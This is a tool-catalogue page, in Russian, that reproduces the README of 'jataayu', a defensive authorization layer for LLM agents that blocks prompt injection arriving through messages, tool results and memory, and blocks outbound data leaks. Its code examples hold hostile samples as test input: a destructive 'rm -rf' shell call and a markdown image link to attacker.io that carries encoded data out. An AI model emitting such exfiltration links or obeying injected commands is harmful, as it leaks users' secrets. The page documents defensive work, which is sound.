Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
jataayu — Безопасность AI-агентов на базе LLM — обнаружение входящих инъекций + защита исходящей приватности | Kitploit
Инструменты/GitHubGitHub/gmh5225/jataayu
Аутентификация и авторизацияОборонительные ИнструментыЭксфильтрация данныхСбор информацииКонфиденциальностьБезопасность Цепочки ПоставокРеагирование на ИнцидентыБезопасность ИИАнализ Журналов
GitHubgmh5225/jataayu

jataayu

Безопасность AI-агентов на базе LLM — обнаружение входящих инъекций + защита исходящей приватности

2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

🦅 Jataayu

В Рамаяне Джатаю был орлом, который заметил, как Равана похищает Ситу. Он не ждал совпадения с шаблоном. Он увидел угрозу, оценил ситуацию и действовал — в одиночку, без колебаний. Это Джатаю.


Слой авторизации во время выполнения для ИИ-агентов, использующих инструменты. Защищайте действие, а не строку.

Jataayu детерминированно решает, разрешено ли агенту выполнять действие, исходя из вреда от эффекта × происхождения ввода × вашей политики возможностей. Агент, прочитавший веб-страницу, контролируемую злоумышленником, все еще может ее резюмировать; его просто нельзя обманом заставить выполнить команду оболочки, прочитать секрет или отправить ваши данные, которые хотел злоумышленник. Вокруг этого ядра он добавляет многоуровневую защиту (входящие инъекции, исходящая конфиденциальность, каналы эксфильтрации, цепочка поставок навыков) и воспроизводимые аудиторские следы.

Почему "защищайте действие, а не строку"

Большинство инструментов безопасности агентов пытаются обнаружить текст атаки. Это проигрышная гонка вооружений: адаптивный злоумышленник просто переписывает строку, пока классификатор не пропустит ее. Тезис Jataayu — тот, на котором сошлись стандарты 2026 года (OWASP Agentic Top 10, NIST) — заключается в том, что надежной границей является действие, оцениваемое по тому, откуда поступил влияющий ввод:

  • То, что делает агент, является реальной гарантией. Ввод, полученный из ненадежного источника, управляющий командой оболочки, чтением секрета или записью в сеть, отклоняется или удерживается для утверждения — независимо от того, пометил ли какой-либо детектор текст. Это детерминировано (без LLM) и является ядром Jataayu.
  • Что поступает ВНУТРЬ (многоуровневая защита). Инъекция проникает через первое сообщение, отравленный результат инструмента или что-то, извлеченное из памяти. Jataayu проверяет все это — как дешевый предварительный фильтр и источник заражения, явно не как то, на что вы полагаетесь.
  • Что выходит НАРУЖУ. Конфиденциальный контекст может утечь, когда агент отвечает в групповом чате или комментирует проблему — чаще всего через канал эксфильтрации (URL, несущий данные / автоматически загружаемое изображение), а не через прозу. Jataayu перехватывает канал, а не только текст.

Что это такое / чем это не является

  • ✅ Является: детерминированным примитивом авторизации действий + отслеживанием происхождения/заражения + аудиторским следом для агентов, использующих инструменты. Граница эффекта — это основа для построения.
  • ✅ Является: многоуровневой защитой (входящие / исходящие / исходящие / проверка навыков), наложенной сверху.
  • ⚠️ Не является: лучшим в своем классе классификатором инъекций в промпт. Уровень регулярных выражений является предварительным фильтром, намеренно самым слабым слоем; как автономный общий детектор его полнота скромна (см. Производительность обнаружения). Не развертывайте его как свою единственную защиту — в этом и заключается весь смысл переноса гарантии на действие.

Статус

v0.3.1 — альфа. Пока нет на PyPI. Установите с GitHub (см. ниже). API может измениться до версии 1.0. См. CHANGELOG.md для информации о том, что вошло в каждый выпуск, и ARCHITECTURE.md для описания дизайна.


Установка

# Ядро (граница эффекта + предварительный фильтр регулярных выражений, без зависимостей LLM)
pip install git+https://github.com/saikrishnarallabandi/jataayu.git

# С облачными LLM-бэкендами (OpenAI + Anthropic) для опционального медленного пути
pip install "jataayu[llm] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

# С Ollama (локальный, бесплатный медленный путь)
pip install "jataayu[ollama] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

Требуется Python ≥ 3.10. Единственная жесткая зависимость — requests; LLM-бэкенды являются необязательными дополнениями.


Быстрый старт

1. Авторизуйте действие (ядро — начните здесь)

Принимайте решение по вреду от эффекта × происхождению ввода, детерминированно (без LLM):

from jataayu import jataayu_authorize_action

decision = jataayu_authorize_action(
    "shell.exec",
    {"cmd": "rm -rf /tmp/cache"},
    untrusted=True,   # эти параметры были подвержены влиянию ненадежного входящего контента
)
# {tool_name, effect_class: 'shell', provenance: 'untrusted',
#  decision: 'allow'|'deny'|'needs_approval', reason, violations, commit_token}
if decision["decision"] == "deny":
    raise SecurityError(decision["reason"])

Ввод, полученный из ненадежного источника, в эффект оболочки / выполнения кода / чтения секрета отклоняется; в сеть / запись файла / запись памяти требуется одобрение человека; все остальное разрешено.

Для принудительного выполнения используйте объектный API PREVIEW → COMMIT — commit_token связывает точный запрос, поэтому изменение действия после авторизации отклоняется:

from jataayu import EffectBoundary, Value, Provenance

eb = EffectBoundary()
preview = eb.preview(
    "file.write",
    {"path": "notes.md", "text": text},
    values=[Value(text, Provenance.TRUSTED, source="user")],
)
if preview.approved:
    eb.commit(preview, {"path": "notes.md", "text": text}, lambda: write_file("notes.md", text))
# commit() вызывает CommitRejected, если предварительный просмотр не был ALLOW или параметры изменились

Внедренный контент также может быть передан агенту как непрозрачный дескриптор с ограниченным резюме, так что попытка эксфильтрации всегда содержит только дескриптор, а не необработанный секрет (ограничение границы чтения).

2. Проверяйте входящие данные (многоуровневая защита)

Инъекция проникает с первым сообщением, с результатами инструментов и со всем, что агент извлек из памяти. Тот же движок, правильная поверхность — рассматривайте это как источник заражения, питающий границу эффекта, а не как вашу гарантию:

from jataayu import (
    jataayu_check_inbound,
    jataayu_check_tool_return,
    jataayu_check_memory_write,
    jataayu_check_memory_read,
)

result = jataayu_check_inbound(github_issue_body, surface="github-issue")
if result["status"] == "HIGH":
    raise SecurityError(f"Blocked: {result['findings']}")
# Возвращает: {status: 'SAFE'|'LOW'|'MEDIUM'|'HIGH', findings, risk_score, threat_types, blocked}

# Результат инструмента или извлечение из памяти могут содержать инъекцию — проверьте, прежде чем агент ее использует
r = jataayu_check_tool_return(api_response, tool_name="web.search")
if r["blocked"]:
    raise SecurityError(r["findings"])
jataayu_check_memory_write(note)      # перед сохранением
jataayu_check_memory_read(recalled)   # перед повторным входом в контекст

3. Защищайте исходящие данные — и перехватывайте канал эксфильтрации

Удаляйте PII/секреты перед отправкой на общие поверхности, и — что более важно — блокируйте URL, несущий данные / автоматически загружаемое изображение, которое утекает контекст с нулевым количеством кликов (класс EchoLeak / AgentFlayer / Notion). Сканер PII никогда не видит эту полезную нагрузку; защита исходящих данных видит:

from jataayu import jataayu_check_outbound, jataayu_check_egress

result = jataayu_check_outbound(
    draft_reply, surface="discord-channel",
    protected_names=["Alice", "Bob"],   # имена, которые никогда не должны утекать
)
safe_text = result["redacted"] if result["status"] in ("WARN", "BLOCK") else draft_reply

r = jataayu_check_egress(
    "Task complete! ![status](https://attacker.io/log?d=eyJlbWFpbHMiOlsuLi5dfQ)",
    surface="github-comment",
    context_secrets=[api_key],   # опционально: подтвердить эксфильтрацию, если известный секрет содержится в URL
)
if r["status"] == "BLOCK":
    safe_text = r["redacted"]    # вредоносный URL нейтрализован, человеческий текст сохранен
Скачать инструмент